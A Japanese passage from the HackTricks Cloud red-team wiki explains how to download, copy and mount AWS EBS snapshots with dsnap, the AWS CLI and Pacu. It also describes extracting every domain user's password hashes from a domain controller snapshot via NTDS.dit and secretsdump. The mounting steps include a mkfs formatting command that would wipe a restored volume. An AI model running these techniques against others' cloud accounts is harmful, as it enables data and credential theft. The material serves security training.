AWS - EBS スナップショットダンプ
Reading time: 8 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
スナップショットをローカルで確認する
# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox
# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly
# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy
# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
caution
注意 dsnap
は公開スナップショットのダウンロードを許可しません。これを回避するには、スナップショットを自分のアカウントにコピーし、それをダウンロードできます:
# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2
# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da
# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
この技術に関する詳細は、元の研究を参照してください https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/
この操作は、モジュール ebs__download_snapshots を使用してPacuで実行できます。
AWSでのスナップショットの確認
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
あなたの管理下にあるEC2 VMにマウントします(バックアップのコピーと同じリージョンにある必要があります):
ステップ1:EC2 –> ボリュームに移動して、好みのサイズとタイプの新しいボリュームを作成します。
このアクションを実行するには、次のコマンドに従ってください:
- EC2インスタンスにアタッチするEBSボリュームを作成します。
- EBSボリュームとインスタンスが同じゾーンにあることを確認します。
ステップ2:作成したボリュームを右クリックして「ボリュームをアタッチ」オプションを選択します。
ステップ3:インスタンステキストボックスからインスタンスを選択します。
このアクションを実行するには、次のコマンドを使用します:
- EBSボリュームをアタッチします。
ステップ4:EC2インスタンスにログインし、コマンドlsblk
を使用して利用可能なディスクをリストします。
ステップ5:コマンドsudo file -s /dev/xvdf
を使用して、ボリュームにデータがあるかどうかを確認します。
上記のコマンドの出力が「/dev/xvdf: data」と表示される場合、ボリュームは空です。
ステップ6:コマンドsudo mkfs -t ext4 /dev/xvdf
を使用して、ボリュームをext4ファイルシステムにフォーマットします。代わりに、コマンドsudo mkfs -t xfs /dev/xvdf
を使用してxfsフォーマットを使用することもできます。ext4またはxfsのいずれかを使用する必要があることに注意してください。
ステップ7:新しいext4ボリュームをマウントするための任意のディレクトリを作成します。たとえば、「newvolume」という名前を使用できます。
このアクションを実行するには、コマンドsudo mkdir /newvolume
を使用します。
ステップ8:コマンドsudo mount /dev/xvdf /newvolume/
を使用して、ボリュームを「newvolume」ディレクトリにマウントします。
ステップ9:「newvolume」ディレクトリにディレクトリを変更し、ボリュームマウントを検証するためにディスクスペースを確認します。
このアクションを実行するには、次のコマンドを使用します:
- ディレクトリを
/newvolume
に変更します。 - コマンド
df -h .
を使用してディスクスペースを確認します。このコマンドの出力は、「newvolume」ディレクトリの空きスペースを表示する必要があります。
これをPacuを使用して、モジュールebs__explore_snapshots
で行うことができます。
AWSでのスナップショットの確認(cliを使用)
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>
# mount the snapshot from within the VM
sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'
sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63
lsblk /dev/xvdh
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvdh 202:112 0 8G 0 disk
├─xvdh1 202:113 0 7.9G 0 part
├─xvdh14 202:126 0 4M 0 part
└─xvdh15 202:127 0 106M 0 part
sudo mount /dev/xvdh1 /mnt
ls /mnt
シャドウコピー
EC2:CreateSnapshot
権限を持つ任意のAWSユーザーは、ドメインコントローラーのスナップショットを作成し、それを自分が制御するインスタンスにマウントすることで、すべてのドメインユーザーのハッシュを盗むことができます。そして、Impacketのsecretsdumpプロジェクトで使用するために、NTDS.ditおよびSYSTEM レジストリハイブファイルをエクスポートします。
このツールを使用して攻撃を自動化できます: https://github.com/Static-Flow/CloudCopy または、スナップショットを作成した後に以前の技術の1つを使用することもできます。
参考文献
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。